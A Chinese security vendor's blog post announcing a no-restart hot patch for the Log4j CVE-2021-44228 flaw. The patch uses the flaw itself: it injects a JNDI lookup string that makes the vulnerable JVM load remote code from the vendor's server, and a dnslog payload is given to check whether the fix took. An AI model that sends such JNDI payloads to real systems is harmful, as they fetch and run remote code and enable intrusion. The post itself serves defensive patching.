写点什么

利用漏洞修复漏洞:青藤提供的「Log4j 命令注入漏洞(CVE-2021-44228)」【免重启】在线热补丁服务现已上线!

作者:青藤云安全
  • 2021 年 12 月 13 日
  • 本文字数:1893 字

    阅读完需:约 6 分钟

利用漏洞修复漏洞:青藤提供的「Log4j命令注入漏洞(CVE-2021-44228)」【免重启】在线热补丁服务现已上线!

史诗级的漏洞 CVE-2021-44228 爆发以来,各安全厂商提供了各种漏洞检测工具,也提供了各种漏洞修复方案。但是在修复过程中遇到无尽的坑,比如更新版本需要重启服务也不见得那么方便,改代码需要一定周期,临时修复方法错误(系统环境变量未生效),Log4j 2.0-2.10 版本无临时修复方案,jdk 升级高版本存在 bypass 且仍然可以造成信息泄露等等。


鉴于以上问题,青藤推出在线 &离线临时修复方案,帮助大家迅速修复漏洞,度过“修改代码->测试->上线正式升级版本”这段时间差,避免发生实际损失。


Log4jPatch 原理


Log4jPatch 利用本次 Log4j 漏洞本身的任意代码执行能力,将 Payload 注入到目标 Java 进程中,通过反射调用,禁用了 Log4j 对 jndi 的支持,使得后续对该漏洞的利用无效,完成漏洞修复,总而言之,就是利用漏洞把漏洞补上。


Log4jPatch 造成的影响


1. Log4j 无法使用 jndi,如果 Log4j 业务使用了 jndi 那么就会受到影响(这样的程序员就应该被安全工程师吊起来打)。


2. 由于注入到目标 Java 进程中的 Payload 极小(<1.6KB),且变更逻辑简单,对于担心 jvm 内存的用户来说请放心。等您进行代码级别的修复之后,只需要重启服务 patch 就不会再驻留在内存中。


Log4jPatch 修复方法


1. 如何使用青藤的 Log4jPatch 在线补丁服务


1.1 修复人员在漏洞注入点(如用户名、搜索框、前端站点表单字段等等漏洞的触发点,不需要提供给青藤),把注入 payload 修改为:${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}。

1.2 存在漏洞的业务会到 cve-2021-44228.qingteng.cn 去远程加载 class 文件,把 jvm 虚拟机中的 jndi 给禁用。

1.3 修复验证:按照之前查找验证存在漏洞的方式进行测试,比如 ${jndi:ldap:xxxxx.dnslog.xxcnxx/exp},漏洞验证不成功则说明漏洞修复成功。



验证 demo(上)/patch 前后效果对比(下)


patch 前,利用漏洞访问 1.5gwpt7.dnslog.cn 成功;patch 后,利用漏洞访问 2.5gwpt7.dnslog.cn 失败;手动访问 curl 3.5gwpt7.dnslog.cn 成功,证明 dnslog 有效(附时间戳证明连续性)。


2. 如果业务无法访问互联网服务,还可以使用青藤提供的离线 jar 包进行热修复


jar 包修复原理:利用 JVM 提供的 Instrumentation API 来更改加载到 JVM 中的现有字节码,

https://docs.oracle.com/javase/6/docs/api/java/lang/instrument/Instrumentation.html

在不重启 Java 进程的情况下,修改

org.apache.logging.log4j.core.lookup.JndiLookup 类的 lookup 方法,固定返回

Patched JndiLookup::lookup()。


2.1 到https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz地址下载 Log4jPatch 的 jar 包。


2.2 Log4jPatch 的 jar 包上传到存在漏洞的服务器,然后执行命令。


Linux: 

上传到服务器,然后解压,cd 进入到解压后的 cve-2021-44228-qingteng-patch 目录,参考 README.md,执行 attach.sh 。


attach.sh 例子


● ./attach.sh 不带 pid 将使用 jps 列出此机器上所有 java 进程,然后输入行号选择进程来进行注入修复,输入 all 将会注入所有列出的 java 进程。


● 可输入多个,空格分割。

windows:

● 双击 attach.bat, 然后输入 java 进程 pid

● 或者 cmd 命令行里传入 pid,例如: attach.bat pid

2.3 离线的修复验证:按照之前查找验证存在漏洞的方式进行测试,如:burpcollaborator 进行验证,漏洞验证不成功则说明漏洞修复成功。

注意:使用以上两种修复方式需要您拥有系统的所有权,并且理解修复的原理和方法。


FAQ:

Q:青藤怎么保证修复方式安全可靠?

A:

1.青藤完全不需要您提供业务的漏洞细节,这完全掌握您的手中,我们并不清楚也不需要具体的注入点;

2.源码开源,项目地址:

https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patchhttps://github.com/qingtengyun/cve-2021-44228-qingteng-patch  ;

3.开源项目中提供了所用到的 class 文件和 jar 包文件的 hash 值;

4.到https://cve-2021-44228.qingteng.cn/patch/class/patch.classhttps://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz下载 class 文件和 jar 包进行对比。


Q:青藤 patch 修复之后就永久生效么?

A:只要不重启服务,该方式可以一直生效,一旦您重启了服务,需要再次对注入点打 patch,直到代码级修复上线。


Q:青藤提供的修复支持的 java 版本是多少?

A:在线修复 patch 支持 JDK 版本 6、7、8、9、10、11,离线修复的支持 JDK 版本 6、7、8、9、10、11。


Q:我不知道注入点在哪里,但是引用了 Log4j,能使用青藤的修复补丁么?

A:可以,使用离线 jar 包不需要提供注入点,只需要知道进程 id。


Q:我不知道我有没有用 Log4j,你能帮我看看么?

A:请看文章教你轻松清点:

https://mp.weixin.qq.com/s/0cHryvkZUzp4KelF5twolg

发布于: 1 小时前阅读数: 5
用户头像

还未添加个人签名 2021.11.03 加入

还未添加个人简介

评论

发布
暂无评论
利用漏洞修复漏洞:青藤提供的「Log4j命令注入漏洞(CVE-2021-44228)」【免重启】在线热补丁服务现已上线!